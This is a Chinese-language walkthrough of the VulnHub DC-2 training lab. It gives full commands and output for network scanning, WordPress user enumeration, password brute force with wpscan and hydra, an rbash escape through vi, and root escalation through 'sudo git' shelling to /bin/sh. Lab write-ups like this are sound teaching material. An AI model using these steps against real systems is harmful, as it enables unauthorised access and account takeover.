vulnhub: DC 2

首先地址探测找到主机IP：

root@kali:~# nmap -sn 192.168.74.139/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 09:47 CST
Nmap scan report for 192.168.74.1
Host is up (0.00051s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.74.139
Host is up (0.00018s latency).
MAC Address: 00:0C:29:79:95:8B (VMware)
Nmap scan report for 192.168.74.254
Host is up (0.00012s latency).
MAC Address: 00:50:56:E0:A5:71 (VMware)
Nmap scan report for 192.168.74.137
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.02 seconds

找到192.168.74.139，探测开放的服务：

root@kali:~# nmap -A -p1-65535 192.168.74.139
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 09:54 CST
Nmap scan report for 192.168.74.139
Host is up (0.00045s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
7744/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
|   1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
|   2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
|   256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_  256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 00:0C:29:79:95:8B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.74.139

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.02 seconds

开放了80端口的http服务和7744端口的SSH服务。
直接访问http://192.168.74.139,发现流量会被重定向到http://dc-2,所以需要修改下本地的hosts文件，增加192.168.74.139和dc-2的映射关系。
windows的在路径：C:\Windows\System32\drivers\etc 下；Linux的在路径/etc 下：

root@kali:~# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
192.168.74.139  dc-2
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

再次访问服务器80端口，拿到第一个flag：

根据提示，使用cewl（https://www.freebuf.com/articles/network/190128.html）将该网页爬取为字典：

root@kali:/# cewl http://dc-2/ -d 10 -w /wordlist.txt
CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

然后使用username字典结合该生成的字典对登录界面进行爆破，burpsuit的attack type选择clustom bomb：

使用爆破出来的用户名和密码登录，在page界面得到flag2：

另外一种方法是通过wpscan（https://www.freebuf.com/sectool/174663.html），枚举出当前用户名信息：

root@kali:~# wpscan --url http://dc-2 -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.7.5
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://dc-2/
[+] Started: Sat Apr 11 15:28:25 2020

Interesting Finding(s):

[+] http://dc-2/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://dc-2/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://dc-2/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] http://dc-2/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
 | Found By: Rss Generator (Passive Detection)
 |  - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
 |  - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://dc-2/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-03-31T00:00:00.000Z
 | Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.3
 | Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jerry
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] tom
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up.

[+] Finished: Sat Apr 11 15:28:30 2020
[+] Requests Done: 55
[+] Cached Requests: 6
[+] Data Sent: 11.562 KB
[+] Data Received: 514.096 KB
[+] Memory used: 110.116 MB
[+] Elapsed time: 00:00:04

从中可见有三个用户名：admin、jerry、tom

使用wpscan自带的密码破解模块，结合cewl生成的字典文件对密码进行破解，可以得到jerry和tom的密码：

root@kali:~# wpscan --url http://dc-2 -U jerry -P /wordlist.txt
……
[+] Performing password attack on Xmlrpc against 1 user/s
Trying jerry / adipiscing Time: 00:00:16 <=============================================================================================================================================================> (200 / 200) 100.00% Time: 00:00:16
[SUCCESS] - jerry / adipiscing                                                                                                                                                                                                             

[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing

root@kali:~# wpscan --url http://dc-2 -U tom -P /wordlist.txt
……
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - tom / parturient
Trying tom / nascetur Time: 00:00:17 <=================================================================================================================================================================> (210 / 210) 100.00% Time: 00:00:17

[i] Valid Combinations Found:
 | Username: tom, Password: parturient

用hydra基于之前的用户名和密码尝试爆破一下7744：

root@kali:~# hydra -l tom -P /wordlist.txt -t 4  -s 7744 ssh://192.168.74.139
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-11 16:43:49
[DATA] max 4 tasks per 1 server, overall 4 tasks, 238 login tries (l:1/p:238), ~60 tries per task
[DATA] attacking ssh://192.168.74.139:7744/
[STATUS] 24.00 tries/min, 24 tries in 00:01h, 214 to do in 00:09h, 4 active
[STATUS] 28.00 tries/min, 84 tries in 00:03h, 154 to do in 00:06h, 4 active
[STATUS] 23.43 tries/min, 164 tries in 00:07h, 74 to do in 00:04h, 4 active
[STATUS] 23.00 tries/min, 184 tries in 00:08h, 54 to do in 00:03h, 4 active
[7744][ssh] host: 192.168.74.139   login: tom   password: parturient
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-11 16:52:55

登录后得到第三个flag：

tom@DC-2:~$ ls
flag3.txt  usr
tom@DC-2:~$ vi flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

由于shell设置了rbash（https://www.freebuf.com/articles/system/188989.html），导致大部分命令受限执行，测试vi可以使用，通vi一个文件设置shell尝试绕过rbash：

tom@DC-2:~$ vi test
通过：set shell=/bin/sh
然后调用执行：shell
$ whoami
/bin/sh: 1: whoami: not found
$ export -p
export HOME='/home/tom'
export LANG='en_US.UTF-8'
export LOGNAME='tom'
export MAIL='/var/mail/tom'
export PATH='/home/tom/usr/bin'
export PWD='/home/tom'
export SHELL='/bin/rbash'
export SHLVL='1'
export SSH_CLIENT='192.168.74.137 36850 7744'
export SSH_CONNECTION='192.168.74.137 36850 192.168.74.139 7744'
export SSH_TTY='/dev/pts/0'
export TERM='xterm-256color'
export USER='tom'
export VIM='/usr/share/vim'
export VIMRUNTIME='/usr/share/vim/vim74'
export _='whoami'

尝试修改PATH，执行：

$ export PATH="/usr/sbin:/usr/bin:/rbin:/bin"

$ export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
$ export -p
export HOME='/home/tom'
export LANG='en_US.UTF-8'
export LOGNAME='tom'
export MAIL='/var/mail/tom'
export PATH='/usr/sbin:/usr/bin:/rbin:/bin'
export PWD='/home/tom'
export SHELL='/bin/rbash'
export SHLVL='1'
export SSH_CLIENT='192.168.74.137 36850 7744'
export SSH_CONNECTION='192.168.74.137 36850 192.168.74.139 7744'
export SSH_TTY='/dev/pts/0'
export TERM='xterm-256color'
export USER='tom'
export VIM='/usr/share/vim'
export VIMRUNTIME='/usr/share/vim/vim74'
export _='PATH=/usr/sbin:/usr/bin:/rbin:/bin'
$ 

此时执行各种命令就正常了：

$ whoami
tom
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
$ 

查看passwd文件，看到jerry用户：

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
$ 

尝试使用之前的密码切换到jerry，拿到第四个flag：

$ su jerry
Password:
jerry@DC-2:/home/tom$ cd /home/jerry
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

jerry@DC-2:~$ 

根据提示使用git提权：

jerry@DC-2:~$ sudo git -p help
usage: git [--version] [--help] [-C <path>] [-c name=value]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p|--paginate|--no-pager] [--no-replace-objects] [--bare]
           [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
           <command> [<args>]

The most commonly used git commands are:
   add        Add file contents to the index
   bisect     Find by binary search the change that introduced a bug
   branch     List, create, or delete branches
   checkout   Checkout a branch or paths to the working tree
   clone      Clone a repository into a new directory
   commit     Record changes to the repository
   diff       Show changes between commits, commit and working tree, etc
   fetch      Download objects and refs from another repository
   grep       Print lines matching a pattern
   init       Create an empty Git repository or reinitialize an existing one
   log        Show commit logs
   merge      Join two or more development histories together
   mv         Move or rename a file, a directory, or a symlink
   pull       Fetch from and integrate with another repository or a local branch
   push       Update remote refs along with associated objects
!/bin/sh
# whoami
root
#
# ls /root
final-flag.txt
#  

总结：

1、nmap扫描对应的网段，确定主机IP和开放端口及其服务

2、基于1的结果使用wpscan做进一步探测（https://www.freebuf.com/sectool/174663.html）

3、对rbash进行绕过（https://www.freebuf.com/articles/system/188989.html）

4、使用git进行提权（https://www.cnblogs.com/zaqzzz/p/12075132.html）